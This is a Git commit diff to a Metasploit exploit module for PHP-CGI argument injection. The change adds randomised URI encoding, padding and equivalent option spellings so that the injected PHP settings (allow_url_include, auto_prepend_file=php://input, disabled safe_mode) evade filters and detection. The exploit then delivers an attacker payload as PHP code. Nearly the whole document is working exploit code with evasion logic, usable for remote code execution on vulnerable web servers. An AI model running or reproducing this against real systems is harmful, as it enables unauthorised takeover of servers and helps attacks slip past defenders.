Merge branch 'jjarmoc-php_cgi_arg_injection'
This commit is contained in:
@@ -29,7 +29,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
a system-defined manner" from the RFC) and then passes them to the CGI
|
||||
binary."
|
||||
},
|
||||
'Author' => [ 'egypt', 'hdm' ],
|
||||
'Author' => [ 'egypt', 'hdm', #original msf exploit
|
||||
'jjarmoc' ], #added URI encoding obfuscation
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' => [
|
||||
@@ -53,6 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
|
||||
OptInt.new('URIENCODING', [true, "Level of URI URIENCODING and padding (0 for minimum)",0]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
@@ -73,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
response = send_request_raw({ 'uri' => uri + '?-s'})
|
||||
response = send_request_raw({ 'uri' => uri + "?#{create_arg("-s")}"})
|
||||
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
@@ -85,18 +87,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
def exploit
|
||||
begin
|
||||
args = [
|
||||
"-d+allow_url_include%3d#{rand_php_ini_true}",
|
||||
"-d+safe_mode%3d#{rand_php_ini_false}",
|
||||
"-d+suhosin.simulation%3d#{rand_php_ini_true}",
|
||||
"-d+disable_functions%3d%22%22",
|
||||
"-d+open_basedir%3dnone",
|
||||
"-d+auto_prepend_file%3dphp://input",
|
||||
"-n"
|
||||
rand_spaces(),
|
||||
create_arg("-d","allow_url_include=#{rand_php_ini_true}"),
|
||||
create_arg("-d","safe_mode=#{rand_php_ini_false}"),
|
||||
create_arg("-d","suhosin.simulation=#{rand_php_ini_true}"),
|
||||
create_arg("-d",'disable_functions=""'),
|
||||
create_arg("-d","open_basedir=none"),
|
||||
create_arg("-d","auto_prepend_file=php://input"),
|
||||
create_arg("-n")
|
||||
]
|
||||
|
||||
qs = args.join("+")
|
||||
qs = args.join()
|
||||
uri = "#{target_uri}?#{qs}"
|
||||
|
||||
|
||||
#print_status("URI: #{target_uri}?#{qs}") # Uncomment to preview URI
|
||||
|
||||
# Has to be all on one line, so gsub out the comments and the newlines
|
||||
payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
|
||||
response = send_request_cgi( {
|
||||
@@ -117,6 +122,83 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
end
|
||||
|
||||
def create_arg(arg, val = nil)
|
||||
if val
|
||||
val = rand_encode(val)
|
||||
val.gsub!('=','%3d') # = must always be encoded
|
||||
val.gsub!('"','%22') # " too
|
||||
end
|
||||
|
||||
ret = ''
|
||||
ret << "#{rand_spaces}"
|
||||
ret << "#{rand_opt_equiv(arg)}"
|
||||
ret << "#{rand_space}"
|
||||
ret << "#{rand_spaces}"
|
||||
ret << "#{val}"
|
||||
ret << "#{rand_space}"
|
||||
end
|
||||
|
||||
def rand_opt_equiv(opt)
|
||||
# Returns a random equivilant option from mapping at
|
||||
# http://www.php.net/manual/en/features.commandline.options.php
|
||||
opt_equivs = {
|
||||
"-d" => [
|
||||
"#{rand_dash}#{rand_encode("d")}",
|
||||
"#{rand_dash}#{rand_dash}#{rand_encode("define")}"
|
||||
],
|
||||
"-s" => [
|
||||
"#{rand_dash}#{rand_encode("s")}",
|
||||
"#{rand_dash}#{rand_dash}#{rand_encode("syntax-highlight")}",
|
||||
"#{rand_dash}#{rand_dash}#{rand_encode("syntax-highlighting")}"
|
||||
],
|
||||
"-T" => [
|
||||
"#{rand_dash}#{rand_encode("T")}",
|
||||
"#{rand_dash}#{rand_dash}#{rand_encode("timing")}"
|
||||
],
|
||||
"-n" => [
|
||||
"#{rand_dash}#{rand_encode("n")}",
|
||||
"#{rand_dash}#{rand_dash}#{rand_encode("no-php-ini")}"
|
||||
]
|
||||
}
|
||||
|
||||
equivs = opt_equivs[opt]
|
||||
equivs ? equivs[rand(opt_equivs[opt].length)] : opt
|
||||
|
||||
end
|
||||
|
||||
def rand_encode(string, max = string.length)
|
||||
# Randomly URI encode characters from string, up to max times.
|
||||
chars = [];
|
||||
if max > datastore["URIENCODING"] then max = datastore["URIENCODING"] end
|
||||
if string.length == 1
|
||||
if rand(2) > 0
|
||||
chars << 0
|
||||
end
|
||||
else
|
||||
if max > 0
|
||||
max.times { chars << rand(string.length)}
|
||||
end
|
||||
end
|
||||
chars.uniq.sort.reverse.each{|index| string[index] = Rex::Text.uri_encode(string[index,1], "hex-all")}
|
||||
string
|
||||
end
|
||||
|
||||
def rand_spaces(num = datastore["URIENCODING"])
|
||||
ret = ''
|
||||
num.times {
|
||||
ret << rand_space
|
||||
}
|
||||
ret
|
||||
end
|
||||
|
||||
def rand_space
|
||||
datastore["URIENCODING"] > 0 ? ["%20","%09","+"][rand(3)] : "+"
|
||||
end
|
||||
|
||||
def rand_dash
|
||||
datastore["URIENCODING"] > 0 ? ["-","%2d","%2D"][rand(3)] : "-"
|
||||
end
|
||||
|
||||
def rand_php_ini_false
|
||||
Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user